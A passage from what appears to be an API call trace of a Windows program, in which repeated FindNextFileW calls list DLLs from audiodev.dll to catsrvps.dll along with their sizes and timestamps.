ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0210.117] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0210.118] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, 